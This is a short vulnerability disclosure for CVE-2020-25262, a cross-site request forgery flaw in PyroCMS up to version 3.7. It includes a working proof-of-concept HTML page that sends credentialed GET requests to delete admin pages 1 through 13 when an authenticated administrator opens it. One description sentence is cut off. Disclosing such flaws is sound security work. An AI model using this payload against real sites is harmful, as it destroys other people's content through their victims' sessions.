

farid007 / CSRF in PyroCMS

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CSRF in PyroCMS Which leads to deletion of pages (CVE-2020-25262)

CSRF in PyroCMS

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1 Product:: PyroCMS
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3 CVE: CVE-2020-25262
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5 Version: (,3.7) 3.7 Tested
6
7 Vulnerability:: Deletion of pages via Cross-Site Request Forgery(CSRF).
8
9 Download:: https://github.com/pyrocms/pyrocms
10
11 Vulnerability Description:: The PyroCMS is vulnerable to cross-site request forgery (CSRF). Due to action is performed via GET request. An
12
13
14 Steps To Reproduce::
15
16 Create a page with below content.
17
18 <!DOCTYPE>
19 <html>
20 <head>
21     <title></title>
22     <script type="text/javascript">
23         // to delete pages.
24         // it's in your hand to delete number of pages.
25         var url = "http://test.com/admin/pages/delete/"
26         for (var i = 1; i <= 13 ; i++) {
27             var url1 = url+i;
28             xhr = new XMLHttpRequest();
29             xhr.open("GET",url1);
30             xhr.withCredentials = true;
31             xhr.send(null);
32         }
33     </script>
34 </head>
35 <body>
36     <!--html content here--!>
37 </body>
38 </html>
39
40 * Send to the victim (who is authenticated on PyroCMS as administrator) and once the victim clicks on the link, pages will be deleted.
```